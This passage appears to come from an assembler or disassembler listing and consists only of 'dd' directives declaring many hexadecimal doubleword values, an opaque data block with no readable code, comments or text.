		dd 8289292Bh, 7EE5E95Eh, 5482B175h, 97215BECh, 7ED29418h
		dd 5A53C696h, 138AA630h, 22F9DA7Fh, 2DCD022Fh, 142AD927h
		dd 0A0223266h, 59D10125h, 0CB294624h, 1E4E7AB0h, 31A5A9BCh
		dd 38288B97h, 62C9C05h,	62007045h, 637654EFh, 0AB029721h
		dd 0FA549E48h, 372D0380h, 0FA0615ECh, 3BBFB2F5h, 1496C6FEh
		dd 12E42781h, 96607C47h, 913F521Eh, 0F0CD1D6Dh,	0C13845C1h
		dd 128203E5h, 361B2A39h, 693D5F4h, 648E7200h, 4C09070Bh
		dd 45136FE8h, 8453BC43h, 50BF97AAh, 2704ACCFh, 0E8587A42h
		dd 29ED122Dh, 70A75020h, 0F97F50C2h, 9246B423h,	0C33AA4A8h
		dd 42A07397h, 8456089Fh, 16BB44h, 409E35D6h, 0F94F01FCh
		dd 5833DC1Bh, 0DA582650h, 58102D7Eh, 28B4CF7Ah,	69ADD3CBh
		dd 935390C9h, 6CEC583Bh, 0BD835F88h, 0FC2F74B9h, 9D7C34B8h
		dd 3BC8F71Ah, 47F7F275h, 8548E97h, 9D9CE915h, 161FF07Bh
		dd 1F35AE1Ah, 2F624B13h, 0AA8924F6h, 251B5BDEh,	0A5DCA72Fh
		dd 0E2C0A901h, 8961E003h, 68049093h, 79A3543Fh,	7DE48610h
		dd 0AE6D1A2Ah, 0CDC02D35h, 1FAF8035h, 2E4D82A9h, 0B08937B5h
		dd 27085508h, 0F1E77766h, 0FA453A02h, 0B8B2768h, 1741CF2Fh
		dd 64DB5049h, 0C29D8566h, 206AD6E6h, 7AD900DEh,	0D6015CB0h
		dd 0AA9EF0E9h, 438B351Fh, 0EACA0010h, 522D7D8Dh, 840A86Ch
		dd 1A669F58h, 0A0C9D34Fh, 52490A2Bh, 29660DDCh,	0AE1D200Fh
		dd 0F425994Bh, 41FB1A82h, 0A3A335Ch, 908EE01h, 726290E9h
		dd 0CE5FB4CAh, 806812E7h, 0EE82CC31h, 0FE2E7E54h, 832F22B7h
		dd 0D056097Ch, 0FD8820C4h, 0B969CB15h, 8A181F2h, 0A0800402h
		dd 7D7A60CBh, 689C28h, 0E98D3182h, 38AAB4E4h, 5C98F4C6h
		dd 34387501h, 5E3C149h,	7DCC5121h, 0A4C7B85Fh, 0E9580CBBh
		dd 0E2D11812h, 0EA07C0F0h, 13CA8006h, 88BBF230h, 20E91AD0h
		dd 88426A7Fh, 0AE17B419h, 0E5891ED9h, 0A614DF58h, 5515929Fh
		dd 0AB2503CDh, 5621620Fh, 0F4E8CEF4h, 49940500h, 0D563Fh
		dd 715B1A41h, 0F1129C2Dh, 88A0324Fh, 0B4929F14h, 2C3A68C0h
		dd 26239658h, 0CA92D31Ah, 8EA3F00h, 47CE281h, 0E9104E63h
		dd 41579227h, 8037F07h,	0F8FBE125h, 94BCA32Ah, 184B2DB5h
		dd 0B65C5B32h, 1C7609Eh, 0E917283Fh, 1320F6ACh,	5EDD3542h
		dd 0C6DBE018h, 2D3C6407h, 5A156894h, 0F2272AF3h, 0FE5EB804h
		dd 8A4F098Ah, 58E913B3h, 5ED0657h, 49C1189Fh, 56123305h
		dd 0C3E10BB7h, 0E95F0700h, 0F7B79A46h, 0B5FED43Fh, 3D5221E2h
		dd 46D2021Fh, 0D889028Dh, 0CD9020B9h, 6DD28A4Ah, 9C0B5722h
		dd 5C5177FEh, 6893333Ah, 0E92A90EDh, 0CABF2A18h, 0DFFE0900h
		dd 0F6C8D516h, 82E9C202h, 0BF01CB50h, 1029680Eh, 0DEECB951h
		dd 0A86B4BFAh, 0FD2112E3h, 0E8F5A200h, 0EC42DA0Bh, 3BC01E5h
		dd 3EE94440h, 0E1BB00A3h, 323F2D4Ah, 8093D88Fh,	0F6C0FE75h
		dd 34C8D89Fh, 0EA1488E1h, 6809E1CFh, 0A7794F2Dh, 7135788Bh
		dd 2455A8D9h, 1D043494h, 27590955h, 735A0200h, 0E4BA7A69h
		dd 15B32958h, 4A8B0CE8h, 433059C9h, 0B5B8959Ah,	59092CB8h
		dd 0FE31119Eh, 43031675h, 124F6821h, 6FE3B12h, 2DA146A8h
		dd 6FB505A4h, 923CA7Ah,	0D1C0B6E9h, 7A1B8943h, 245CC562h
		dd 0EA2820DBh, 20025B90h, 1641F41h, 42542CBh, 25862908h
		dd 649590CFh, 1E3C6BFCh, 0C54381D8h, 8A761EBAh,	89ED4036h
		dd 31195C2Ah, 0D444EABDh, 0F478A5F6h, 5BC28827h, 0FE97B4C3h
		dd 9552692Dh, 9AAEFF5Bh, 0BD66C096h, 0BB0078E4h, 0E748BE3Eh
		dd 0B01D3B6h, 322AE9EEh, 93A7910h, 417BBB1Fh, 45A45C09h
		dd 0BE5E3344h, 7C37D7F8h, 9039E09Fh, 2E312E7Eh,	9C910E2h
		dd 44271468h, 8F9846h, 0FC008D4h, 79EBCA81h, 0E9385806h
		dd 4E283740h, 30108DADh, 88B52D76h, 87C06F0Dh, 97582F68h
		dd 0E277B98h, 29413B09h, 59D4994Ch, 0CC662A25h,	965D0C9Ah
		dd 80EBA40Eh, 1D015B2Bh, 32BDE9D8h, 77C40820h, 5478FC2Dh
		dd 9109E951h, 0FE01E4D8h, 80D3F6CBh, 0C6CC9CF3h, 0F1DEE0EEh
		dd 265BABD3h, 108E2012h, 0EAD10009h, 840FC23Bh,	465A9583h
		dd 940680Eh, 78F77594h,	7F3D722Ah, 27894E97h, 6C7EBD55h
		dd 0F30B601Dh, 0C1AC1A86h, 0CC2B3370h, 0DB4FA1C9h, 0D80916B3h
		dd 43C1AE57h, 42283AA9h, 502C01C2h, 0DAE92DFDh,	93B63FE7h
		dd 0D419F710h, 0E9560B41h, 2F8BDEDCh, 0B2BD0214h, 1C6DEBEh
		dd 0D9289CB3h, 1CE0F65Bh, 562DE9C8h, 87FE2291h,	505176CFh
		dd 7A9572E9h, 1D032DBAh, 15743566h, 0BCFA677Ch,	0CD8DE89Dh
		dd 0E595D7EDh, 9E6F3C99h, 42AA277Ch, 0C2046003h, 6234B417h
		dd 88003BDCh, 0F2CE86DEh, 96B254A0h, 5D9D0BF1h,	4EF44638h
		dd 0E6814E1Eh, 4A6C2E51h, 0E875CA70h, 0F7F7C0Ch, 1BE39FF6h
		dd 83F30165h, 471FC141h
		dd 5E4FD9F2h, 54B26943h, 8BF42532h, 22EA68C1h, 91C7E22Eh
		dd 736126F3h, 7EDC184h,	1E7633C0h, 280B7E38h, 0F5695F6h
		dd 21CE5009h, 0FA9C9264h, 7F585D32h, 897A32C4h,	0BD0496A6h
		dd 644825C7h, 0ED2C55E8h, 19F5036Fh, 89892245h,	0B16960EBh
		dd 55698995h, 6AE1CA33h, 8C447AC2h, 5805D749h, 6B72BF30h
		dd 1D48DCC8h, 84EB9754h, 93D2B226h, 851C30E8h, 6816A0B4h
		dd 54633053h, 502B2701h, 0E7F2E613h, 8180E0F1h,	103288EFh
		dd 40CABD22h, 0BD5D0804h, 0A92785AEh, 464621AFh, 5F22C86Fh
		dd 53A7CB9Fh, 758451C7h, 0B82D007Ah, 0EB4BBC6Bh, 0D6725F3Fh
		dd 0BAE58178h, 6C8BECD1h, 8F92C298h, 0BF7AD183h, 0D12EE230h
		dd 304CD8B8h, 0AECC54A1h, 33DB659h, 0F220AFE9h,	0AF676D99h
		dd 6FCF01D2h, 3B2561B9h, 7D0BF7D5h, 0E0954BD7h,	0F6108011h
		dd 3EB0BCCEh, 96AC30BBh, 8B48E23h, 0A174E329h, 690B4E0Dh
		dd 2C798082h, 88D814F9h, 0A9D460B7h, 12119BC2h,	0F19BF952h
		dd 0BA20515Ah, 0B72F5A83h, 56F74BFAh, 5359E913h, 2121BB6Fh
		dd 8A3E7633h, 0D2572E52h, 3BA35213h, 0CEF8E413h, 0B05000B4h
		dd 304DB1EDh, 99E919C1h, 20028D35h, 282BD95h, 0BBB3FAFh
		dd 2945AAD4h, 565AFF09h, 42DF838Eh, 0D6E3743Fh,	0ED9400DDh
		dd 0C159B167h, 8102E501h, 0F514EECDh, 8902013Fh, 0F30B210Dh
		dd 0A12606F8h, 0E20C076Fh, 0E0426A54h, 25941AB7h, 82F4C127h
		dd 0C6971CACh, 6FEABF00h, 4AE940F8h, 0AC0EC070h, 4BE4512Ch
		dd 0B54007B0h, 0BAEB809h, 73031635h, 7D56F702h,	0F2F57ECh
		dd 81C551AEh, 2FE236D5h, 0B9907F31h, 9DEF3721h,	5244BC80h
		dd 10B7E8Ch, 0F466E9F5h, 0C4ED8746h, 0B50E170Ah, 899C42B3h
		dd 374058C7h, 37253D9Bh, 1283F03Ch, 0EEA0FAE9h,	0D620B829h
		dd 0A114B7A8h, 909FC220h, 7538342Ah, 143DAF0Ch,	0E905617Fh
		dd 44153891h, 0D707E2D3h, 5517E843h, 646F42E6h,	0ED028366h
		dd 7FE04BBEh, 2A35EFE9h, 9396F22Bh, 47216425h, 0BB8174ECh
		dd 0F1F20AC3h, 74D53EA7h, 3A15C202h, 29994916h,	6042787Ch
		dd 0E00FB90h, 0E978C82Ah, 0EAB37910h, 9FB4DC12h, 9C009F7h
		dd 0A9577C97h, 0E95010CDh, 2809B7A4h, 0D1C45D46h, 6391AB87h
		dd 0D92F794Bh, 0A7DD600Ch, 4ED11E05h, 3AE0DBE9h, 12299005h
		dd 0A05B3A58h, 5A12475Ch, 59E8357Ah, 0E0C150Bh,	4A98F580h
		dd 0F713338Ah, 5A4042D2h, 51B0462h, 5506123Dh, 0CC18BB0Ah
		dd 2D022C1Ch, 0E4D05E20h, 292E1A03h, 10C7D9E9h,	517EEEA1h
		dd 3F2F35F4h, 0E52B3389h, 20EF2569h, 0AABD4A22h, 5B251C69h
		dd 0D0E9C2EDh, 0AA79B4CAh, 0BABC1352h, 140B0FA5h, 0A6CAB079h
		dd 4612E289h, 6D28E157h, 3C82113h, 310EE804h, 6B5797B1h
		dd 221029F3h, 0EF80000Fh, 5BFC30DAh, 39BE3168h,	2068BB3h
		dd 0DF46146h, 92CCA33Ah, 0D88837FEh, 16A51DA4h,	0AC2A5590h
		dd 0D2D33C2Fh, 7E096E91h, 677C7673h, 88DCBB4Dh,	0F33C5F5Ch
		dd 41684BA9h, 74035EABh, 96C827Fh, 975C6C5Fh, 5815ECDBh
		dd 1BE0285h, 0E02D2F31h, 45B19C1h, 0BAE95F17h, 9BD8AE06h
		dd 294CE712h, 0BF9D24E9h, 5524BB27h, 190BAF24h,	42767B42h
		dd 0D2E489E2h, 0BB0F292Bh, 72EB0893h, 0B6C82D13h, 0C6F5D5Fh
		dd 57E9918Ch, 4BEEAF9Fh, 81B92EBBh, 0D8A2EFDh, 3869A640h
		dd 427767Fh, 8019B0E3h,	30C8BF4Ah, 1B42650h, 0B65EA553h
		dd 0A9E0E9D0h, 0A12E58F2h, 44E497AEh, 2564354Bh, 708102AFh
		dd 0BA0088D5h, 0C42E0AE6h, 93028658h, 7F37B607h, 0D6C58A60h
		dd 895E24C4h, 2D3FCBBBh, 204CE431h, 0AD5885CAh,	17530185h
		dd 52565D07h, 0B5FB80F8h, 5429DB67h, 4F09C66Ch,	7B6FF4E7h
		dd 5DC7312h, 0C4C01221h, 2568D264h, 0EAFA13C3h,	0AA16906Eh
		dd 5E96CB20h, 12AB0A24h, 0B0F7B8E0h, 0B4165568h, 0E8876366h
		dd 60CFAB02h, 60263401h, 28EF1F13h, 0BDBEAE3Dh,	47D93CAh
		dd 61D1609Fh, 0CD39E689h, 12D34810h, 140BFE09h,	2537FA14h
		dd 0FC5AB856h, 4C9AA3FAh, 1E68AD0Bh, 0C4BCF44Ah, 4FC0FF30h
		dd 9C291FE9h, 1CFA8200h, 0A6806B2Dh, 0A8B711FCh, 76EB092Dh
		dd 77D60274h, 0B36032E8h, 0AE044CC2h, 9CEEE92Bh, 4EF2BC17h
		dd 9AD463D5h, 0DC25A881h, 8FDC796h, 4B3FAA6Eh, 67C26ED1h
		dd 80010C71h, 77E020F0h, 32E9F631h, 5C5D7168h, 8D26E68h
		dd 83707C82h, 69F63A1Ch, 2AA4F8E9h, 4B9F3CD0h, 98699061h
		dd 82D09511h, 0B10CD898h, 3A5DA40Bh, 363E164Fh,	0EAE64062h
		dd 98A5C0FCh, 57C78097h, 0FE5E2ABFh, 0E6E92462h, 3ED6A795h
		dd 0D1F285E7h, 8825FC79h, 462DAE5Dh, 0FE890BD9h, 0D0123C8Bh
		dd 5F0A7C1h, 0AFC412AAh, 40354023h, 40CB9A35h, 0A2B75984h
		dd 0BBBF55Ah, 0E0748775h, 0EC441D27h, 80D4D8BEh, 4860C33Dh
		dd 4A3438EAh, 0EBC9BA1Eh, 7F2EFF10h, 0B85FE9A2h, 5B9DEBCCh
		dd 13CAA8B1h, 911E31E9h, 0FD57D7E0h, 1917C17h, 690B441Ch
		dd 1F04D129h, 0A6934C08h, 0A3B5BF5Ah, 0E1F989A8h, 896B3639h
		dd 13CA30E7h, 9AB64988h, 34BD0B17h, 42745E71h, 0AF3A439h
		dd 0C7B40B20h, 2E96A389h, 0A8D3DD74h, 848DAD57h, 0B19C11F0h
		dd 0D8308BE2h, 0EC702056h, 61C35C28h, 0ECA06322h, 0E92F45B1h
		dd 662CE175h, 1293D6Bh,	147A7DD5h, 0D0283181h, 0E32E4C2Ch
		dd 7E79A7FFh, 85C17E7Ah, 0A82DA1E9h, 8FC5C494h,	0DAD170A8h
		dd 49E06882h, 0CA248B59h, 0AD57BA13h, 0D1895FC7h, 6FDD0C30h
		dd 0C22D801Ah, 707DD8EBh, 25FA7EB2h, 47D1255Ch,	4E19F42h
		dd 3092A55Bh, 0F1B523A5h, 121E4DAEh, 657F51B7h,	0AEE9470Bh
		dd 4EB65AB8h, 7EEC000h,	0C680D6F6h, 210C103h, 2A98C9E9h
		dd 58F6ED61h, 5C06697Bh, 162DE967h, 0BC3F512Ah,	0EF128E92h
		dd 742B3877h, 4F2F45B6h, 6D82B991h, 91614F98h, 7C192DC8h
		dd 0FCE04Ah, 0FAF2CDC9h, 0DB2C8725h, 0F9B900B7h, 0E93497ADh
		dd 0C61B9E2Dh, 77A42019h, 0E5AD080h, 0C17CEEB8h, 73E82C98h
		dd 0F756751Fh, 1404F96h, 805AF530h, 0F6BE1DE5h,	55C549DDh
		dd 0BF02BF84h, 21AB1E75h, 4B760ADh, 0F2A553D5h,	0F65382F1h
		dd 0B321B1ADh, 5EDE24A5h, 2D04F805h, 0DACBAC81h, 0FA272406h
		dd 69E6FEAAh, 2742B200h, 0BA071CD7h, 0E328D8C2h, 6AE6BFFEh
		dd 0DB68D307h, 14B6F68Bh, 0F84F08EEh, 0B40AB51Ch, 0CB82866Eh
		dd 825A1C70h, 96BB2F5h,	0CD291D0Bh, 0A5261575h,	295B44FCh
		dd 1C8F20AEh, 582880F8h, 8A7E95Dh, 41C314B7h, 84CC28C1h
		dd 80E010E9h, 1D90CD8Fh, 0F3D96EB1h, 0C4AC59F0h, 0BFEFD118h
		dd 58658480h, 0B1B79821h, 806A30D5h, 3A7CF249h,	752B2A31h
		dd 8E575FFEh, 0E886A9BFh, 27CF2AADh, 0A6521AD7h, 31795E2Ch
		dd 197F2D50h, 0DE2FF26Ch, 5F074205h, 0DD441140h, 0D13132C0h
		dd 130FBB5Ah, 12A50E7Bh, 5A4CBDF7h, 4C851D84h, 6ED21FAh
		dd 0B58674C5h, 0CDFE6B1Eh, 0D545A593h, 33BB4668h, 0AC3D5573h
		dd 2A981EE7h, 0B72CDD93h, 6551B752h, 9E17572Ch,	8BA28752h
		dd 0E78AB698h, 226B980h, 9764125h, 0DBE059CEh, 5B0177ADh
		dd 8BF2811Eh, 0A6429020h, 814AFEF7h, 190512F5h,	11F8212Dh
		dd 0DD8A04FDh, 2F68653Ch, 899F4EF2h, 4C64B857h,	46E7882Fh
		dd 9E85F2FDh, 97DCE926h, 0B6D1442h, 0DB031FD6h,	0E10D0758h
		dd 0CE3B2574h, 90547E2Ch, 0A9053A6h, 0BE63BA09h, 2808D176h
		dd 4145BFB4h, 26B54649h, 8098DBE9h, 6855F1F7h, 65B50EE4h
		dd 0CCDB826h, 0F0215B08h
		dd 9D685E82h, 92B1DF28h, 1EFD0056h, 0A0E5B010h,	38814654h
		dd 0E21294F6h, 9FF0012Ch, 2B13BE4Fh, 4B83E81Fh,	70B578h
		dd 79497B0Ch, 1BE5E9BCh, 2539ABEh, 345AB894h, 40D16447h
		dd 0DC207728h, 9E48C1ACh, 2A4A6102h, 0BD00AAA2h, 0E91B0624h
		dd 25B5292Ch, 8252E80Dh, 900908F8h, 0F7DC58F4h,	1B7F530Ch
		dd 0C07003EDh, 0EB2924BBh, 1472342Dh, 0AFCE2515h, 16B0DA94h
		dd 1CF2544Bh, 0F527B6D4h, 142D35F9h, 2EE92F11h,	2A58EDE1h
		dd 0DDBA5C32h, 3F2DAFC9h, 2EE922F4h, 92F9A3C4h,	28980BEEh
		dd 203C5D11h, 6F39C6B8h, 0F2312D82h, 0DE5B9524h, 545CEB20h
		dd 0FF8E849Bh, 84D9F705h, 0C3A21E35h, 634F8CFh,	4A6C28C1h
		dd 68660782h, 0A94D417Fh, 82834E20h, 9CA8D576h,	5F8BF740h
		dd 2D548B3Ch, 0E21DC8BDh, 452F12BEh, 7502EE35h,	7F6B0831h
		dd 12711E01h, 622DE7EDh, 411DC6B4h, 0C4F87883h,	0D6AFE1F6h
		dd 0CD2DA2C9h, 0E248790Ch, 0B9006B47h, 4BCD6D56h, 536FC373h
		dd 203F0F4Ch, 0F8313EBCh, 80B9AA30h, 0C01CB0CBh, 0EBCF02E3h
		dd 86F32006h, 0E4DA8852h, 37E92AD5h, 684D6599h,	1412C8ABh
		dd 2161A555h, 5AF77C3Bh, 0B9937DFDh, 661931CAh,	0F26E5208h
		dd 636809B9h, 4D6531Ah,	0EE30BE56h, 0A1E95402h,	89B4D5D8h
		dd 87A279C4h, 29429CFAh, 822CC540h, 0B1206ADAh,	6B84C49Ch
		dd 14AE127Eh, 3344433h,	0A216AAE9h, 263247C0h, 513B3608h
		dd 0EA03129Ch, 0F750C70Ah, 0CC7203D5h, 0E97DEE01h, 3118A0D4h
		dd 2EB3C751h, 0A15B9D8Ah, 708032AAh, 0EAEFA09Fh, 27B211F1h
		dd 66F88910h, 0C968F917h, 4A5E38A4h, 0E225D8D4h, 47A2645h
		dd 0AF1425A3h, 0B161E631h, 0FB78EF10h, 98DAD03Dh, 0C617A7B6h
		dd 0F2550FF3h, 43865651h, 319F188Bh, 940714A4h,	278EFE2Dh
		dd 51CFC266h, 0E766EA0Ah, 0D3139F44h, 83432C80h, 310205FEh
		dd 0ECCAE9FBh, 0AE35072Fh, 0D2AA5885h, 0EAC8D0AFh, 0A1070934h
		dd 8E855F6Eh, 89D9FC11h, 0D8935709h, 68C29CF1h,	7606C4ACh
		dd 231039AAh, 0D3328F4Ch, 5EB4089Ch, 0BC16C90Bh, 9D840A3Dh
		dd 992868FFh, 5E4E049Dh, 84D42CBEh, 0B0DFF660h,	2E69A2CFh
		dd 800C689h, 0B800BAFCh, 20B64817h, 4F290F2Dh, 0D8E41DC5h
		dd 985D0B72h, 0B56961B0h, 0D9281646h, 314BB6E4h, 906F23BCh
		dd 0A077DBCBh, 3A8BC3B5h, 484A486Dh, 52428707h,	0F5E0F71Eh
		dd 4025C048h, 4E5F160Bh, 3FE96C03h, 286203CCh, 30EC80D4h
		dd 45E908D2h, 0B68C3A5Ch, 49B955Ah, 19760C05h, 40C30FEDh
		dd 8D11BB07h, 1236C6AEh, 0B12484FEh, 9E1ACB7Ch,	9E61DDC7h
		dd 250A8108h, 6DCB057Bh, 15FAD4CCh, 950192BFh, 208E7F17h
		dd 0C21263FAh, 0E7812801h, 7D154B0Eh, 3C4CFD8h,	0E919DD40h
		dd 2E198A91h, 0C0BEE888h, 0C7FCEC4Dh, 0EBB7B6C5h, 0E978A974h
		dd 22964B4Ch, 0F840B277h, 0DE00B353h, 805BDD88h, 25C067CDh
		dd 1EF603EDh, 40E9C802h, 20E1C40Ch, 544F8352h, 0FE349E65h
		dd 6514C401h, 982015ADh, 31542F43h, 9F0CCA50h, 0FA36BC37h
		dd 51722660h, 7F4E087Eh, 97345817h, 4CDABEC2h, 0BE16C061h
		dd 73850D56h, 9DEC18B8h, 8114D225h, 1FDC6887h, 0A85E4273h
		dd 0BF04B4ACh, 71A86826h, 0E907D6DDh, 134526B8h, 12F4E308h
		dd 0B438AE31h, 6566B52Eh, 207EC348h, 0BA29D67h,	2CE05357h
		dd 7548EE15h, 239186E9h, 0C9609FA1h, 0B9808818h, 0C0383C2Fh
		dd 84F18100h, 2170A76Fh, 0C76372B8h, 91AD66D5h,	0F73FD831h
		dd 0B8027D1Dh, 39E95945h, 31B249C9h, 254062A7h,	4C04E681h
		dd 554F3805h, 0EBAB2C2h, 0F903F860h, 2ED2096Ch,	34C44E02h
		dd 2DCA82A7h, 957964C8h, 9F0664EAh, 0F097EB87h,	0F6E69D6Ch
		dd 2584719Dh, 68055271h, 9B44608Eh, 0BD0079D8h,	1BBE0BF1h
		dd 3520B4B0h, 9D3590C7h, 5D2C3E4Ch, 76A9627Bh, 18B7208h
		dd 0B1DBCB8h, 0EB32BB0Dh, 6DC740Dh, 0CC58C189h,	4754A40Fh
		dd 51CD8118h, 4EE0D6B9h, 0B096BA53h, 1BFDEA1Bh,	2415ACE1h
		dd 7CDD90D9h, 22E2E7E4h, 0F3D6A075h, 0C721A752h, 0E2530648h
		dd 2C51D66Fh, 1607204Ch, 0A3494D68h, 0A59713A9h, 0CADEB0B9h
		dd 81B880DEh, 5523BDCAh, 0E9C3470Ah, 688551DBh,	1CF343D1h
		dd 68010C2Fh, 6F98B151h, 0AD02BEE1h, 70B507D4h,	506EE580h
		dd 0F4B25216h, 25E989A0h, 113AFCEEh, 9368E668h,	86283859h
		dd 42DAFADh, 9C6935C2h,	7E66B833h, 0D512414Bh, 53FD75BAh
		dd 0E973D80Ch, 1400BD5Bh, 0C71AD6BBh, 400B252h,	6D6385E3h
		dd 5101BF0Eh, 0A9EAE94Bh, 14B9DB80h, 50271961h,	0BBDBFF8h
		dd 0BA037F6Fh, 0BEBC4BFEh, 0F2A9BFD5h, 6B0B41h,	0F35C1A66h
		dd 0AE2FE94Eh, 0A0385B8Ch, 90295EE3h, 78ACDA4h,	0F95E283Dh
		dd 4BE57784h, 428B9E7h,	0E6C1465Ah, 67C5DB0h, 891583BFh
		dd 0C75936F7h, 77054CECh, 0A285545Fh, 0D2DEEAA8h, 0B407C448h
		dd 7540CC20h, 7B3F00B8h, 0D8F728BAh, 32007A0Dh,	0CE3568E2h
		dd 9F64CD6Bh, 0FC09C516h, 6F1A21h, 5B31D9F7h, 4D0CC003h
		dd 0F72BF27Fh, 208CD65Ch, 0C4FE2C9Ah, 9FA71E88h, 0F6F93069h
		dd 0A227D0B5h, 0CF446353h, 545009E8h, 7B8B9A0Bh, 1BDA5C06h
		dd 4C096812h, 0A2531433h, 0D7F591EBh, 72881664h, 42848D5h
		dd 1269CE5Fh, 0B18CEB92h, 58B54098h, 1D476639h,	815DD7F7h
		dd 525A5C0Fh, 5E15D87h,	0F26E43DEh, 0AE0B92E9h,	0F68C14EBh
		dd 0A822498Dh, 1DF9CE03h, 0C7D0883h, 0F43552Eh,	50C3A915h
		dd 0E2056A21h, 0C809230Bh, 1379DEBEh, 1CE03DE9h, 17C35A29h
		dd 7944AFA8h, 0CBEEC289h, 0ACBE28AEh, 9376CA62h, 0ADE70FD7h
		dd 1FB0C051h, 860C27B1h, 9D0F6C1h, 0A940B5D1h, 0DCA2B0F1h
		dd 0F2D6054h, 501EE1B3h, 0E0E2FAB4h, 0E05AC476h, 245848E6h
		dd 7FF3E909h, 5674987Fh, 0EFEDF657h, 6F8BB829h,	46F7BDCh
		dd 69BE4494h, 0C20A3D6Ah, 5C616368h, 6DBB6072h,	8100675Fh
		dd 4C5816C9h, 5B76E93Eh, 784DF268h, 89E0AB2Eh, 0B04F7840h
		dd 0A509DEAh, 809D8975h, 6054C3BDh, 83E91346h, 3CB7F2E8h
		dd 8049AF5Ch, 5AD128D4h, 1BE11680h, 16E2ED66h, 71AA1D85h
		dd 4B2E314h, 6AFB79EEh,	0A43214Bh, 0DC832778h, 0B0776C15h
		dd 58A773F3h, 0ED019E93h, 643B026Fh, 0B6E13B01h, 0D45B0802h
		dd 876152D9h, 18315506h, 5580BCFh, 2570943Dh, 356D0767h
		dd 3DCBA0EEh, 0AAE5CDE9h, 1EA475E3h, 80F3D0AAh,	9FF07EF5h
		dd 68004794h, 10543EB2h, 0E7811D5Fh, 23D7C6h, 6EAEF7D5h
		dd 89287862h, 0D30CB1FAh, 0DE4B435Ah, 851D0696h, 0E2DBF77Bh
		dd 3ABB5E09h, 0C4CA4239h, 82A8E85Dh, 3B6CCC00h,	77F67475h
		dd 5041764Eh, 0C184899h, 750BD160h, 9012011h, 0E002D1F8h
		dd 38B3302Dh, 7A20D71Ah, 92190DC6h, 2DE91D3Bh, 0C290F677h
		dd 0A2F923E4h, 1D634388h, 64E20535h, 0D2FD97A9h, 0A5737060h
		dd 13687A49h, 95F267E9h, 5FD6BE12h, 79EE0188h, 564865AAh
		dd 0FB28605Bh, 90B8B3Bh, 0B1332068h, 598B80BBh,	0BB4AF121h
		dd 8D80F378h, 0CF2E4957h, 6E02EB4Ah, 5F47466Bh,	5702B494h
		dd 491D9868h, 0F7D6804Eh, 502773E1h, 2FE9D01Bh,	71921CB9h
		dd 0C6505F2h, 0CC002117h, 36D2F281h, 2D5107E1h,	0D04C65B0h
		dd 0E4264805h, 0AAA17AF9h, 0B3000705h, 354E47CEh, 17E5AE9h
		dd 54685E61h, 10FB661Bh, 31257AF9h, 0F9A5CBFEh,	0FF506B3Ah
		dd 0D72408E0h, 44072379h, 78BBE539h, 847AED3Ch,	5661EF49h
		dd 0A05ADEEh, 0B8301ADh
		dd 36D1646Ah, 0D673DA83h, 40D7C23Fh, 1291CFB2h,	0FF06986Eh
		dd 0A9829335h, 801FC6C1h, 0BF6290D4h, 2BBE0FECh, 626DFCC9h
		dd 14DCC830h, 63EB80C1h, 2127A297h, 2A8090Fh, 6285C1C3h
		dd 31066800h, 5E0B892Fh, 0F1F3C2A7h, 527227C0h,	7319BA05h
		dd 0D2015E9Dh, 4DF4B5Ah, 898FC17Eh, 0ED1D49DDh,	0ACE8F5C5h
		dd 95041D08h, 0A7E98CE9h, 0D7AF52Ch, 0F4562FF3h, 7740E633h
		dd 0BC7B14DEh, 7D05C339h, 0EF7A8B58h, 0FACB7A41h, 170EF41h
		dd 9A48B7D3h, 6827DA3Eh, 4D85C28h, 0AEFB11E9h, 1807445Ch
		dd 78B2423Ch, 0BCE657F6h, 0B0738305h, 7DC45E4Ch, 9FCEC307h
		dd 406254A2h, 27F3DD9Ch, 6726E5Ch, 757FED0Bh, 45D982CAh
		dd 274E7101h, 0DA89D74Ah, 89CEC107h, 1110368Bh,	93CD44E9h
		dd 802B30F7h, 0D4312FEFh, 2B786360h, 34290373h,	0BF2BA0E9h
		dd 0D1ABA0C5h, 0E7E125A1h, 1105AFADh, 6FB8C0B0h, 0D81F4CC1h
		dd 0E2CE2070h, 25094F0Eh, 0E1EAC726h, 0FF03AFF2h, 0F32D6018h
		dd 54F90E2Dh, 32A42577h, 0D4B0B8E7h, 2DBE0449h,	0AEA399Dh
		dd 1208EF76h, 500DCD59h, 66C33183h, 0EDAB04B5h,	3C2E694h
		dd 0D1FBE396h, 8976FD90h, 69EDC210h, 0CDB7FE94h, 27FA40A4h
		dd 0E912648Eh, 4EB9190Ah, 0CF42B2DDh, 0D08CD709h, 0B8409512h
		dd 3064C181h, 7A586912h, 71220C4h, 0ADD343E8h, 0D1F8975Ch
		dd 0D29CE24Fh, 27301C1Fh, 1D295AD0h, 0CBAB2DF8h, 0BE0402B4h
		dd 0F5310791h, 0D8D31D74h, 10DA645Dh, 795909DAh, 9E2AAEB3h
		dd 6802E066h, 3443237Fh, 0E9B1E358h, 8C3A0D6Eh,	0DB090B33h
		dd 0E255850Fh, 92DB7CF8h, 4FD4AD28h, 9752C814h,	0AAF765BFh
		dd 0DA31CF49h, 600A2DE1h, 544B7FC4h, 2A2BFFCh, 6ECECBF4h
		dd 4D807FDh, 1C307C4Bh,	0E9F005B2h, 0C189B02Fh,	0BC03E134h
		dd 0A33AAFA1h, 43D3CA21h, 97E06413h, 295201BEh,	0F10943FFh
		dd 9499205Eh, 68E2E796h, 2C985499h, 7E56A7E8h, 0BAC0E9D0h
		dd 360504C2h, 0C07A5542h, 0BD707928h, 249F2BB0h, 508129F5h
		dd 5300EAFFh, 0F8B73FB7h, 0F3E700EEh, 5102EFC0h, 2876E1B5h
		dd 0F4AC595Fh, 0E9C9FE02h, 97A31579h, 0DA8904F7h, 63F475F6h
		dd 0CDD68592h, 5DEED544h, 4EE98FEEh, 5A3AF1F4h,	32878C5Fh
		dd 2D0111D3h, 5CA33BF8h, 17EF6881h, 667B3306h, 0E9520423h
		dd 0F26182h, 83022478h,	8C5D64C2h, 67166083h, 4A0215A6h
		dd 89301A3Fh, 0FF02DFE6h, 0F5090234h, 5632310Fh, 0E78A0190h
		dd 707BC662h, 0D0E7E881h, 0DBAA2AE9h, 5204A940h, 7653AEC1h
		dd 0F70027E3h, 5E3719A2h, 3341BA12h, 0DD740D8Ah, 4BDB59E9h
		dd 2464726h, 9C63705h, 0CF663300h, 129453Eh, 2B555908h
		dd 830ABA02h, 0D6E9EA74h, 909DB942h, 939134Fh, 94C5C39Ah
		dd 0CBA8BB18h, 8743122Ah, 415D87F3h, 6A180EE9h,	0E26B3729h
		dd 66518B52h, 0E9892FB5h, 0D0202452h, 0B785B5C5h, 81E040D9h
